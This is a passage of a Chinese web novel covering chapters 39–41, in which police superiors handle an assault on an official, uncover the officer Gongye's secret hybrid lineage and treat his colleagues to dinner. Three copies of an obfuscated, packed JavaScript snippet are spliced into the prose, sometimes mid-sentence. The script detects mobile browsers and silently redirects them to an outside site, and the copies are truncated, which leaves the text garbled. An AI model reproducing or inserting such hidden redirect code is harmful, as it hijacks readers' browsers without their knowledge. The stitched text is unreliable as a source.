;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579291|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们主持公道,你们公美就会以多欺少狗仗人势!都走开!” 有人还拿出手机拍摄。 “不准拍!别拍了别拍了!有什么好拍的!” 场面乱套了,客人和酒店工作人员不知何时已站起来,安静地观望着,都看傻了。 公冶感觉呼吸受阻,往下看,邓烟雨死命抱住他,哭着说:“公冶警官我们去医院吧我们去医院……” “都吵什么。” 皮鞋声入耳,一拨人喘着气回头,惊道:“简……简局。” 简繁像准备参加婚宴似的,云淡风轻地出场了,径自往中间走来,大伙纷纷散开,为他辟出一条道。 几番打闹下来,张烬已是“衣衫褴褛”,让一位小辈扶着稍作歇息,发现简繁来了,他容光焕发,差点喊出一声“大救星”。 简繁望见他,眼底生笑,摘掉了黑手套。 “你来了!”张烬打架打得风烛残年,往前蹒跚两步,和简副局长人还未到却先伸来的手重重握了两下,“让我好等,你必须要管管……” 简繁薄唇一弯,冲他示好,接着嘭的一声紧随其上!张烬只感觉面部如遭十级台风碾压殴打—— 简繁动作快如鬼影,抡向张烬的这一拳直击要害之处,力气大到必须绷紧五官憋住气。他没有手下留情,张烬连神经上的痛觉都被打迷路了,结结实实挨了记重拳,往后转了一圈,人仰马翻地栽倒,鼻腔里破裂,噗嗤一声喷出股热液。 整个酒店死寂了下来。 简繁拽了拽差点滑落肩膀的大衣,转身面向公冶,问:“解气了吗?” 公冶:“……” 简繁又看向熊小滚,问:“要来一拳吗?” 熊小滚后退半步:“我……我就……先不了。” 简繁满意地点点头,也在这时,大堂门口炸响平地一声雷:“简繁!!!你在干什么?!” 市局局长赵平功一吼震三界,他暴跳如雷,领带歪了,脸都气抖了,大步走来的同时两手激昂地挥动:“还不扶张主任起来!” 简繁这才殷勤地弯腰,扶起滚在地上爬的张烬。 “张主任,真是不好意思,刚才看到您左脸这边有只蚊子,这吸您面子上的血多冒昧,我心急才朝它挥了一拳,您千万别放在心上。” “不是……”张烬肿着半张猪脸,流着一鼻子血,“你……”他震惊不解地看向赵平功,指着简繁,“他……” “老张,老张老张!消消气!消消气啊!”两位警号不分伯仲的正副大局长前呼后拥着张烬,赵平功掸掸他膝盖上的灰,拍拍他衣服上的褶,从好多只手中扯来纸巾,往张烬鼻孔那堵,推心置腹地哎哟说着,“都是年轻气盛的孩子,火气一上来就没个边了,好啦好啦,为了只蚊子不至于啊,擦破你点皮,还好不严重的,痛过就算啦!” “蚊……什……”张烬老当益壮地捋直了腿,“什么叫痛过就……” “小滚!影青!你俩傻杵着干嘛呢,还不快点给张主任道歉!” 公冶:“对不住。” 熊小滚:“我的错。” “行了行了,歉都道了,很诚恳是吧?”赵平功问简繁,简繁点头,说情绪非常到位,已经在深刻反省了,赵平功长吁一气,再次握住张烬,“老张,您是公安系统的老人了,大人有大量,不和鲁莽小辈计较啊,来,来几个人扶张主任先去休息,那群混小子我来教训,您尽管放心!” “我送您。”简繁扶好了张烬,亲自把人往楼上带。 乌泱泱一堆人像是给流量艺人上妆来了,簇拥着张烬进电梯。门一闭上,君豪酒店大堂今天上午的鸡犬不宁终于在这一刻得以落幕。 赵平功回首,凝视着每一个“涉案分子”,平静地说:“都出来。” 39. 罚 所有警察低着头,避免和赵局电闪雷鸣的眼神接触,这位大名鼎鼎的活阎罗走路带阴风,刮得人心凉。 上午的活动泡汤了,负责人没跟上去,过来和赵平功拍肩握手,这一句“手下不懂事给你们添麻烦了”那一句“无妨无妨,年轻人有性子,能理解,”地救着场,尽是客套话在对付着。 公冶在他们一声声苦笑中平复下来,瞳孔的烫气逐渐散去。怀里的邓烟雨不知受了太大惊吓还是怕他再度失控,没几两肉的手臂死死箍着他不撒开。 “对不起,”他颤声说着,“对不起。” 他不停地道歉,邓烟雨心如刀割。 为什么要道歉?因为从来不想再近一步吗?不,他或许是想的,只是现状不允许他这么做,尤其他们由于一些客观因素住在一个屋檐下,所以他更要守着那条底线。 几次他都觉得,男女之情不该就是这么回事吗,但很快打消念头。 如果不是邓烟雨,他会让一个只有两面之缘的女孩住到自己家来吗? 想通以后,他觉得自己那晚一定是发昏了。 从何时开始的?是她被第二次袭击的那晚开始的吗? 还是更早? 邓烟雨和公冶渡莲都发现了,他们仗着对彼此的那份心意,在乘虚而入。 那晚一遍遍试探她的底线,那晚去迎合神志不清的他,是他们做出的最后悔的决定和让步。 亲手撕毁对方为剩不多的尊严——这和欺负他/她的那些人有何分别?和羞辱他/她有何分别? “是我错了,对不起,我以后不会了,”她哽咽地回应,慢慢松开双臂,仰起脸,“身体难受吗,我们去医院?” 公冶摇头,轻轻放开她,熊小滚走过来,公冶说:“我持刀恐吓张烬了。” “现在不是说这个的时候,咱们先去跟赵局赔个不是,然后找朗院长,你不想上医院,好歹找个地方接受一套精密检查,让我安心好吗,”熊小滚拉住公冶的胳膊往外带,边走边说,“辞呈我就当做没看到,别动多余的念头。” 邓烟雨惊愕地看向他。同事们追随其后,刺舟步伐绵软,飘着走,脸色比谁都差,脑袋里还在循环播放赵阎罗和简魔头神乎其技的双簧大戏。 酒店外风和日丽,景观喷泉有规律地变化着,一群黑衣警察集体罚站在西式建筑的宽阔门廊下,远远看去像某个大规模团伙被一锅剿了游街示众。 赵平功八成是有男团梦,这会演上了凶巴巴的教官,威风八面地从这头踱到那头,清一色的挺拔身姿方便他集中扫射过去,可到了公冶这,他的视线就如山体滑坡,哐当掉下! 中间凹了一块,挤着颗小米粒。 小小一团的邓烟雨莫名混入其中,抓着公冶的手臂,呆若木鸡,仿佛一只迷途的鸭雏儿不慎游入成群结队的黑天鹅鸟群里。她也不明白自己为啥要和平均身高一米八的黑衣帮派站一起受罚,极乐在旁边憋笑憋得抽抽。 赵平功倒不稀奇,瞅见她,和蔼得像个肯德基老爷爷,背着手弯腰问:“没事吧?影青要是欺负了你,你和熊指挥官说,我们保证给你欺负回去!” 公冶额角一滴冷汗。 邓烟雨活到现在,见过的最大世面还是当年村口联欢晚会,哪里和这等正厅级大官有过交集,她颤着舌头,诚实地说:“他没有欺负我。” “噢,没欺负啊,”赵平功顺着她话茬,说,“嗯,他也不敢的!” 周围的警察用余光偷瞄,嘴角高频率拉扯,生怕笑出声,一个个逼自己努力回忆一生中最悲伤的事。 “都散了,”半天,赵平功丢出三个字,他连口吐芬芳的心情也没有,把熊小滚叫来跟前,纳闷地看他,“你怎么回事,头风犯了跟着胡来?” “抱歉啊领导,”熊小滚在一把手面前显得很是忠孝两全,“情绪一上来没把控住,确实有做得不妥的地方,我接受批评处理。” “你要和张烬斗?”赵平功负手而立,仿佛被他的豹子胆气笑了,“人家政治部主任,你抓他?你在GS待了这么些年,谁的胡子都敢拔了。” 熊小滚惭愧地认罪。 “做人不要太耿直,给瑶光留点面子,啊,他行为上有什么不合规的,咱们陪声笑点个醒,等他回去,瑶光那边自有安排,何必搞成两败俱伤。” “我明白。”熊小滚应声。 “影青!”赵平功气吞山河地吼了公冶,“过来!” 一帮同事还围着公冶问长问短,摸胳膊摸腿确认他没缺斤少两,赵局一声惊雷起,他们当即吓作鸟兽散。公冶默了片刻,朝雷区走去。 “你你你——”赵平功抖着个金刚一阳指,冲他点点点,“你出息了啊!名师出高徒!好的不学净钻研你师父的狗毛病!那么厉害你咋不上天呐?!” 熊小滚心知赵局照顾自己是公安上的老同志,人前赏了份体面,所以揪着公冶这颗软柿子开刀。 但他总感觉这里头有指桑骂槐的成分在。 公冶被赵局隔山打牛的手指头点得眼睛一闭一闭,像只挨骂的小狗,蔫着脾气不吱声,任凭数落。没等骂完,简繁从旋转门那徐徐走出,黑皮手套包裹的修长五指间还捏着一柄水果刀,对公冶摇了一摇。 赵平功见了这东西,脸一阵青一阵白,十成功力的指头终于实打实地戳在了公冶的脑门上:“胡闹!” “真不想干了?”简繁走到他面前,仍是那套阴阳怪气的说辞,“你熊队辛辛苦苦把你拉扯成个人样,你倒好,用这个报答。” 暮火赶自己组里的人清理现场去了,极乐搂着衣衫单薄的邓烟雨,下巴搁在她毛绒绒的发顶上,欣赏自家组长被骂得狗血淋头。 公冶扣在背后的双手握成拳,规规矩矩垂首:“对不起,是我冲动了。” 简繁和赵平功交换眼神,麻利地将刀一转,刀柄朝熊小滚一抬。 熊小滚伸手接过。 “以后削完水果,身上挂片果皮也就罢了,刀别顺出来,一不小心掉在公共场所多吓人,今天来培训的不是重量级也是一方上的神仙,你让他们怎么看待公安美食家,怎么看待我们?你痛快,撒个疯提了裤子不负责任地走了,合着我们还要鞍前马后替你擦屁股。” 简繁骂得斯文且一针见血,公冶俯首听训不说话,二位领导便默认他是在检讨自己。 “还有,不要觉得发了辞职报告就等于和公安划清界限了,公安是你想来就来想走就走的地方吗?”简繁说,“你的去留,我们这边都有定数,你自己端正工作态度,上面势必看在眼里,瑶光也没权利随意动到你,明白吗?” 公冶浓密的睫毛掀了一下,说:“明白了。” “回去吧。” 公冶一愣,抬起头,和两位如爹似妈的活菩萨对视。 原以为要关他三天三夜的禁闭,或是一通行政处分伺候。 就这么放他走了? “简局说话没听到吗,别愣着了,快走吧!”赵平功状似不耐烦地挥手赶人。 这事终归不怪他,没有追根究底的必要,若再往下掏,牵扯出来的就不是个人上的恩怨了。张烬步步为营,圆滑了半辈子,偏偏此招走险了。 赵平功委实没料到,张烬会因为影青急于求成,把自己算计成个老糊涂。 他为何那么着急要影青? 瑶光那边又出了什么好事? 赵平功眼风一扫,见公冶面色挺差,郁结的眉峰轻动,说:“小滚,带他去靳南那化验,出来的报告做证据。” 体内的毒素没退干净,有了这份指标,张烬就好办了。 熊小滚瞟了眼公冶,说:“这家伙貌似不肯去。” “去!”赵平功唬起一张老脸,“你说不去就不去?!你大还是我大?” “您大,”公冶乖得要死,说,“我去。” 二位领导撤不了,要善后。酒店这边除了九十度鞠躬道歉,还得尽全力封锁消息,张烬那边不知哄得如何了,扶他上楼时,满耳朵听他嚷嚷拘捕令。 走出几步远,简繁思及一处,和活阎罗提了什么。赵平功回头喊:“人要还不舒服,让朗院长也瞧瞧啊!” “好我知道了!”熊小滚把手机塞给公冶,警告别再遗落,顺道拍了一下从现场路过的暮火,“我陪影青去医院,有问题电话联系。” “友知姐,我们也走吧,”邓烟雨碰了碰从背后搂着自己的极乐,然而对方没动静,她抬头问,“你在看啥呢?” 极乐在看简繁。 简繁高贵的背影正消失在酒店旋转大门内。 “走吧。”极乐语气意味不明,搭了邓烟雨的肩。她有一米七五,邓烟雨于她是个很好撑手的架子。 邓烟雨的注意力从公冶身上转移,朝酒店大门望了望,说:“简局看起来好年轻啊。” “他三十七了,”极乐感慨,“成熟男人魅得很。” 邓烟雨:“简局结婚了吗?” “没呢,他有洁癖,我猜他都没……”极乐正随心所欲侃侃而谈,恍惚间住了嘴,瞥她,“怎么问起这个了呀?” 邓烟雨表情古怪地一弯唇:“我认为你会知道,于是问你了。” 极乐懒洋洋的气息倏地收紧,目光犀利。 “恋爱中的女人太好懂了。”邓烟雨缓声吐露,这句话她也敬给自己。 极乐蓝黑渐变的碎发下,那双清冷慵懒的眼眸细细眯起。 其实她没刻意掩藏,她对简魔头芳心暗许,单位保洁阿姨和门卫大爷都知道。 极乐乱揉她脑袋,疼惜地斥道:“你这小丫头!” “我猜对了是不是!”邓烟雨护住自己的头发。 极乐眼尾轻勾:“那你想知道个秘密吗?” “什么秘密?” 极乐拉紧了她,指着前面被熊小滚抓住看来看去问还有哪疼的公冶,人畜无害地笑:“他一次恋爱都没谈过。” 邓烟雨呆呆眨眼:“所以呢?” 极乐以为是自己说得不够露骨:“你男人是白纸。” 邓烟雨脸一下子臊了。 “你不会以为组长没谈过恋爱但和异性上过床吧?” 这是邓烟雨设想的最坏结果,她点头:“嗯,谁叫他那么帅,哪有男人帅而不自知的,谈恋爱花钱花时间花精力,还不如……” “还不如约炮?”极乐吸气,“小雨宝贝,别想宽了,这可不能啊,我们超级听话的,让我们去我们都不可能去。” “那不一定,”邓烟雨一脸看淡地开口,“扫黄大队上宾馆抓人,还抓到同行呢。” 极乐沉默了半天,哈哈哈地拍腿笑了,邓烟雨说:“难道不是吗?” 极乐两指一并,摆了摆:“别人如何我不知道,组长可没时间干这档事,他以前在独玉分所可遭罪了,来歌华以后一头扎进工作里,早期他出任务是真不要命啊,进过特大火灾救人,协助缉毒队和特警队参与特大案件与危险作战,哪有时间乱搞男女关系。” 邓烟雨听得心疼,也对自己有时不近人情的冷血思维感到心悸:“我不该这么想他。” “没事,好男人太少了,你有这想法太正常不过。” “友知姐,你对公冶警官的私生活很了解吗?” “吃醋?”极乐坏笑着,抱臂说,“我跟他在一个组工作,太熟了。” “我不吃醋,我有好多想问的,”邓烟雨搂过极乐一条胳膊,“他有什么兴趣爱好吗?” “他工作忙,自己的时间比较少,平常也就是看看书补补觉,偶尔和金刀响尾几个打打游戏,哦对了,他应该不敢看鬼片。” 邓烟雨:“天呐,鬼片我也不敢看。” “但他家有超多鬼片碟片,”极乐说起这件事就笑,“就去年,一组有个同事值夜班偷看鬼片,被组长逮了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579292|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正着,那同事本来要关掉的,谁知组长说别关让他看看,我眼看组长脸色变了,肯定是怕了,结果硬逼着自己看完了,这事被蝶衣知道,蝶衣把自家珍藏的好多惊悚碟片送给了他。” 邓烟雨惊讶:“公冶警官没拒绝?” “他装,装自己不怕。” “哈哈哈哈哈——” “你等回去翻翻他抽屉。” 女孩子之间的话匣子一打开,便如山洪崩塌一发不可收拾,邓烟雨饶有兴趣问了一大堆,还问到了他的年龄。 “二十五岁。” “什么?居然才比我大四岁?” “二十五岁还是白纸的专一帅哥不多了,小雨,听姐句劝,好好珍惜,争取今年就拿下,留到明年就不好说了。” 邓烟雨的脸更烧一层楼:“我自己也没经验。” “又没关系,都没经验,怕什么。” 邓烟雨气息微乱:“我觉得他有,昨天他不是这样的。” “那是药物影响,不作数的,”极乐说,“除非他天赋异禀,多看几部片子就会了。” 她们已走到熊小滚停车的马路边,公冶的车也甩在这,邓烟雨在这时发出灵魂一问:“我要是回去翻碟片,翻出那种片子,我该怎么办?” “啊?”极乐笑掉大牙,“你该怎么办?你陪他一起看啊,他看他的,你看你的,反正那里面都有你们各自需要的点。” “友知姐!”邓烟雨宁可自己不要懂这么多,“友知姐,依我看,总有一天简局要被你吃掉。” “你说哪个吃掉?”极乐正色,“我很乖的,我只吃点心。” “极乐,你来开我的车,”公冶把车钥匙抛给极乐,“……你们怎么了?” “我们怎么了?” 公冶端详她们,沉沉说:“你们脸很红。” 邓烟雨的手在空中乱舞:“啊啊啊,我们在讨论全球变暖企鹅以后会不会搬去非洲住!” 公冶姑且信了,对极乐说:“上我家收拾行李,这几天让邓烟雨住你那。” 邓烟雨愣住:“什么?” “我目前夜间保护做不了。极乐,你对她身上的标记味没反应吗?” “没,”极乐耸肩,“我好得很。” “检测仪带了没?”公冶问。 邓烟雨脊背一寒:“忘了。” 公冶自己都半斤八两,也不指望谁争气了,说:“回去测一下,估计标记值降了。” “我们先陪你去医院吧,”邓烟雨拉他衣摆,“我不放心,友知姐也是。” 极乐:“……”我超级放心好吗。 “医院病菌很多,你还……”公冶看着她,目光一顿。他发现邓烟雨穿了他的警服,严谨地罩住了她的小身板和大腿,里面是她的鹅黄睡衣。 公冶去盯极乐。 “我怕小雨穿睡衣出来冷,随手抓了一件。”极乐犯懒的脸上吊着无辜。 公冶担心:“警服一点都不保暖。” 邓烟雨打量他:“你还说,短袖就保暖了?” 公冶:“……” 熊小滚对着雨刮器下的罚单默默良久,眼不见为净地扯下,说:“你们在搭哪门子戏台呢,影青走了。极乐你们要跟吗,要跟就开他的车。” “收到,”极乐按下解锁,车子一闪,“组长,我车技差,漆蹭没了别怪我。” 公冶拗不过邓烟雨,扯下自己车上那张迎风飘扬的罚单,由着她们跟去了医院。 午后一点,海湾。 碧玺红迈巴赫停在防浪墙附近,车门推开,伸出一只漆皮鞋。 一望无际的冬日海面平静闪耀着,简繁迎着海风下车,往前方走去,十米外静候着一辆黑车。 他来到车子后排左侧车门,打开,坐了进去。 赵平功闭目养神片刻,睁开:“老家伙安顿好了?” “不止安顿好了,还拿到了这个。” 简繁将纸张递过去,赵平功接来一看,是独玉市检察院批准的拘捕文书,内容里胆大妄为地提到歌华市公安局下GS总部特发科一级特发警公冶渡莲,身份美食家,因涉嫌非法提供麻醉及精神药品罪、强制猥亵罪,要求即刻遣返瑶光省独玉市GS独玉监禁所羁押,配合调查。 眼前的字句拆碎,一笔一划重组成张烬老奸巨猾的嘴脸。赵平功不动声色地放下纸张,皮笑肉不笑地冷哼:“准备倒充分,是他的行事风格,看来这次他誓死要把那孩子带回去。” “我早前调查过影青的背景,”简繁翻出资料,“您再高居深拱,也需要知道一下了,局长。” 赵平功朝他淡淡看去。 “别看我,看这个。”简繁把档案袋往赵局怀里一推。 赵平功拿住,绕开档案袋上的白蜡线,取出里面的一沓东西。 映入眼帘的A4纸上有一张二寸蓝底免冠照,是个黑发三七分,左耳穿着两枚黑色耳钉的帅哥。这个人他不要太熟悉,姓名公冶静思,市局特警总队一支队副支队长,四一稀美屠杀案为救怀孕的人质,被陷入暴异的美食家袭击后掏出心脏,壮烈牺牲。 揭过这页,翻到下面一张,是一名美食家的信息,姓名叫清绝。赵平功目光同样移去照片上,女子浅茶色波浪卷长发流泻,惊艳的美貌动人心魄,一双浅绿色眸子水亮地闪着,笑意深达眼底。 赵平功皱眉:“顶级美食家。” “他们,”简繁垂眸,“是影青的生身父母。” 老局长朝简繁投去一道眼神,脑海中却浮起公冶的相貌,和他的眼睛。 赵平功撑起:“影青被降级了?” “照目前看来,他眼睛的颜色变成翠绿色,除降级之外,应该没有其他的可能性,我问过小滚,当年他去独玉分所,初次见到影青时……” 简繁郑重看向赵局,说:“影青当时,还保留着顶级美食家的身份。” 40. 王 车内一派肃静。 赵平功目光掠向斜前方,驾驶座没人,司机被他一早支出去了。 他稳着心神,翻阅下面的资料。简繁搜集得颇为详密,有公冶作为实验体各个时期的照片,孩子身上插满管子,毫无尊严地扒开每个地方给人看,注射针眼犹如一万只蚂蚁啃噬在毛孔里,苍白的皮肉紫筋虬结。 遍体鳞伤,无孔不入。 那种人类与生俱来的共情本性,让赵平功的心刺痛得发热。 “父亲是人类,母亲是纯种顶级……”赵平功尘封的记忆如被冷风拂过,一点点复苏,他捏皱了这堆纸,嘴唇也惶惶发了白,“这不是区区一个顶级美食家那么简单,简繁,他是顶级混血美食家。” “所以张烬和顾令萍才要绞尽脑汁夺走他的归属权?” 庞大的沉寂笼罩着狭窄的空间,简繁的不出声更加坚固了这个真相。 美食家的阶级体系错综复杂,混血珍美的各项素质即使再突出,在纯种稀美面前他们依然抬不起头,这是血脉上的倾轧。 但顶级混血不一样。 他们属于特殊种,新生在两股文明血脉之上,继承了最协调的基因,强大只是一方面,他们从未被人研究过,所以带有一定未知与神秘色彩,如果说人类与美食家各占天平一端,那他们就是手执天平的忒弥斯。 “顶级混血可以觊觎世界”并非是空穴来风的言论,他们在美食家体系里裂变得独一无二,而正因为独一无二,才被一双双手供上神坛,奉为神祇。 赵平功沧桑的声音肝胆俱裂:“他这个身份无异于在秒杀原则。” 光凭一个身份,就可以支配两端文明。 “这对人类生存影响太大了,任何一方得到他,那都是抢到了一口颠覆生态平衡的扼喉利器,他的身份一旦公开,后果不堪设想,”赵平功说,“顶级混血在多年前全数被合法处死,他怎么活下来的,用降级逃过一劫?” 2105年,政府联合二十四室,严令上缴全国的顶级混血执行死刑,那些孩子当中最小的才七岁,但他们必须死,无论哪个生态罅隙都容不下他们。 “不是降级,”简繁沉着气,“影青是烈士之子,国家拿他没办法。被处死的顶级混血,全是人类女子和男性顶美擅自生下的非婚生子女,顶美当然无所谓死一两个亲骨肉,他们渴求的只是那番过程。” 字字诛心,赵平功听得满脸铁色,但简繁陈述的就是事实,公冶靠着他父亲的身后荣光,钻了这么个“人情味”的空子。 “值得庆幸的是,2105年对‘顶混’执行死刑后,顶美倒也安分,统计显示公冶静思与清绝是独一例的,全国目前也只有影青一个特殊种,清绝担心儿子出事,还曾向公安申请保护。” “岂止全国,全球都搜不出一个顶级混血,”赵平功头痛欲裂,“你可知这意味着什么,他太危险了。” “可他现在不是了,”简繁倾身说,“他被降级了。” “顶美可以降级吗?”赵平功冷不防脱口而出,问得简繁哑口无言,“顾令萍怎么做到的?” “不清楚,”简繁难办地说,“独玉分所不肯透露。” 赵平功思忖片刻,绕回前头:“清绝当年和谁申请保护?” “叫周骋志,”简繁指向最后一页,“他信息在这,人已经坐牢了。” 赵平功讶异:“怎么是他。” 这人是个特警狙击手,四一稀美屠杀案被捕,供认不讳是自己策划了整起案件,间接害死挚友公冶静思,判处无期徒刑,目前在关海区第一监狱服刑。 四一案严重危害社会治安,毁了多少家庭,按理说该直接枪毙才对。赵平功忍着没发作,问:“清绝的下落可有查到?” “她将孩子托付给张烬之后便消失了,”车内暖气没开,简繁活动着皮手套下略微僵硬的修长手指,“熊小滚把影青接来歌华,这事闹得挺大,她竟没半点消息,我怀疑,人已经不在古洛这片土地上。” “出国吗,”赵平功重新靠向椅背,“难道是去南陆?” “不是没有这个可能。” 赵平功看向资料,清绝和张烬是学术研讨会上认识的,她若知道自己的孩子在好友张烬手里被折磨得不成人样,会是什么表情? “烈士之子么,”赵平功伤叹一声,“可他的童年完全葬送在瑶光了。” “人类的私心是最可怕的利器,”简繁眼含讽刺地笑了,“与其说是独玉分所需要混血顶美的数据,还不如说是国家需要。” 赵平功猛地扭头,严厉道:“我是太纵着你了,你现在什么话都敢说。” “既然有胆敢做,就别怕人人喊杀,”简繁冷嘲着偏头,“我们要放影青回瑶光省吗,他回去必死无疑。” “你都说必死无疑了,还能放吗,”赵平功把资料塞回档案袋,“他吃了这么多苦,也不曾做出憎恨人类的举措,可见有得到良好教育,秉性不坏,这样的人不能落到张烬手里。” 简繁轻声问:“那您是要……” “张主任操劳半生,功标青史,身体也大不如前,是该早点风光退休了。” 以前宁可打尽官腔,也不愿和瑶光撕破脸皮,但这次不同了,那可是顶级混血,核心资源,这么个宝贝疙瘩搞到手,还有什么道理让回去?再说了,他自从来了歌华,公安供着他好吃好穿,钱也赚饱了,不像那个瑶光,三天两头欠他一条胳膊半个腿的,真要他选起来,自然是歌华胜算大些。 赵局想通这节,掏出兜里的手机,滑动联系人列表,拇指悬在“江厅”两个字下,手机忽然跳转来电界面,屏幕上公然闪烁着——江厅。 他没说话,与简繁相视一笑。 与虎谋皮是行不通的,这位跟赵局平起平坐的瑶光省公安厅厅长,正适合借他的手来整顿张烬。 “喂,哎,老江啊!好久不联系了啊哈哈哈,最近咋样,羽毛球还打不打啦?”赵平功一面乐呵着,一面打开门下车,海风把他的声音吹散了,也扩大了。 简繁将档案袋的白蜡线一圈一圈缠紧,原封不动般放在了车座上,取出大衣里的Dupont打火机,下车点了根烟。 最近流感厉害,公冶他们进医院全程佩戴口罩。 靳南和熊小滚的妹妹上个月刚喜提离婚,检查期间,公冶夹在浓浓火药味的死亡沉默下,尴尬得眼帘不敢抬。 “磁共振做么。”靳南盯着电脑敲字,像个机械人,古井无波地询问着。 “做么,”熊小滚问公冶,一瞥眼,见邓烟雨和极乐躲得老远,他不自然地清嗓,摸着脖颈说,“做吧。” 跑完这一趟,他们再回朗院长那配了几副药,眼见是下午四点了。 邓烟雨第一次来GS,瞅着某扇门上“办公重地闲人免进”的字样,指着自己说我难道不算闲人吗,极乐伸懒腰说:“你不是,熊队开后门了,你以后都算家属。” 邓烟雨跟着她学坏了,明知故问:“谁的家属?” 极乐笑:“我的家属呀。” 邓烟雨:“……” 他们穿过办公大楼反射亮光的走道,来到后方孤儿院。 孩子们欢天喜冲上来,吸铁石似的到处贴贴抱抱要举高高,连不认识的邓烟雨也热情地堵住了,熊小滚真怕踩着一个两个的,抓开他们: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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测量仪的智能显示屏上摆着一张睡脸,感应到重担,醒了过来,没一会就报出邓烟雨的身高体重: 158.2cm/52.5kg。 一百零五斤!!邓烟雨瞳孔地震! 体重过百我就不活了! 体重过百我就不活了! 体重过百我就不活了! 当初的誓言如千千万万颗陨石飞落地球,无情砸向了她。 天都塌了。 “我以为你二位数,”极乐端详她藏在宽大警服下的腰与臀,“没想到你还挺有货。” “不是,我没胖,我只是!”邓烟雨悲恸地狡辩,“我只是胸变大了。” “你去组长家时多重?” “九十八斤。” “你胸……”极乐抿着笑,“胖了七斤吗?” 邓烟雨快哭了。 “一次两粒,每天三次,饭后吃,三天后没问题就可以返岗,”朗玉山三令五申地嘱咐,“记得务必要吃饭,不可以空腹。” “我知道了。”公冶拿过红色颗粒的药片。 “暮火找我,我要留在单位,你晚饭怎么解决?”熊小滚瞅了瞅那边哀痛倒地的邓烟雨和举着小拳头鼓励她加油站起来的极乐,笑了一下,“你要不和她们去吃吧,有极乐监督你,我也放心。” “好的,”公冶声音比较沉闷,“还有件事。” “啥?” 诡异的安静过后,他说:“昨天的夜间记录表,我该怎么填?” 41. 青酱 “噢哟,”上司清俊的面庞掺了点捉弄人的笑意,“你还记得这个啊,真亏你还记得。” “别绕弯子了。” “白纸一张先给我吧,你要如实填写,纪检委那边可要不得了了,”奔波一天的熊小滚扶着腰,问朗玉山,“他可以开车吗?” “指标目前没有波动了,不再出现四肢虚弱或体温升高的状况就可以开,但不能跑长途,”朗玉山冷笑,“那鳖孙敢研制这种药,他等着落马吧。” “我知道自己情况,现在手脚也有力气,放心。” 他这个样子,熊小滚能把心放哪,又唠叨了两句,前面大楼来了通电话这才起驾。公冶目送他离开,往邓烟雨那走去,瞄了眼上边的体重,说:“走吧,带你们吃饭。” 邓烟雨听他主动说要吃饭,也不管自己胖了几斤,欢乐地蹦起来:“你想吃什么,火锅要吃吗?海底捞?” 极乐偷了朗院长桌上的零食:“海底捞可以。” 邓烟雨立刻手机查找,不一会瞪大眼:“宝隆的海底捞居然搬掉了。” “最近的在哪里?” “在春日区。” 极乐意兴阑珊:“太远了,要不中华街搓一顿吧。” “你们法餐要吃么,”朗玉山坐在电脑前,背对他们,“这附近新开了一家法式餐厅,人均一百也不贵,他们的青酱烩饭特别好吃。” 邓烟雨和极乐异口同声:“要吃!” “和我说干嘛,”朗玉山笑着,“和小八说去,他掏腰包。” 公冶趁她们讨论的空当,去了隔壁更衣室,借了朗院长的休闲外套穿上,回来问:“定好了吗?” “定好了,”邓烟雨笑吟吟说,“我们去吃法国大餐吧。” 根据朗院长挥毫泼墨的鬼画符地图指示,公冶只淡淡瞥了一眼,在没有开导航的情况下,居然畅通无阻顺利地带她们来到了那家餐厅。 餐厅环境雅致,古典乐轻缓,氛围营造得极浪漫,平均三桌出一对情侣。服务员引他们坐到比较私密的角落位置,一长排红酒瓶装饰在沙发后方。 基本上是邓烟雨和极乐点菜,公冶坐在对面静静喝柠檬水。 “组长,你要看看么?”极乐正要把手机转给他,公冶说:“你们点,我都可以。” “朗院长推荐的点上,这个鸡看起来好好吃,这是什么,牛排配薯条?法国菜好像都是些蜗牛蘑菇。” 邓烟雨啃着轻轻烤焦的餐前面包,滑动屏幕,飞快戳了几个勾,点了大约五分钟,抬头说:“三个人吃八个菜够了吗?” 八个菜?!只怕吃得胆汁要吐出来。 极乐难以启齿,反倒是公冶神色从容,款声问她:“还有想吃的菜吗?” 邓烟雨有点不好意思。公冶知道她胃口大,说:“点吧,我也饿得很。” 于是上来了十道奇奇怪怪的菜,乌漆墨黑的焗蜗牛要用泡芙包着吃,洒满坚果的三颗烤苹果皱得像瘪了气的核桃,唯一惊艳的是剔骨烤鸡,脆皮上的白芝麻淋了油,粒粒泛亮,用叉子温柔一压,沸腾的汁水就噗噗地从嫩肉里溢出来。 极乐备了药还吃得撑死,胃已经顶到嗓子眼,她去自助餐厅扫荡都没有此刻这么绝望,一看身旁的邓烟雨,正在欣喜地给呈上来的牛排拍照。 五分熟的牛排埋在炸成橘红色的薯条下,已均匀切薄,肉质纤维细腻得仿佛在张口呼吸,但一筷子接起来,软软的肉条耷拉着垂成“U”型,萎靡得仿佛从死牛身上剜下来的。邓烟雨嫌弃地提近了看,极乐也冷冷盯着,恍惚想起前任身下那根东西,也是让人这么扫兴。 她们没胃口,不谋而合地抬起头,去看对面,只见公冶接了一块烤鸡,吃进了嘴里。 邓烟雨:“……” 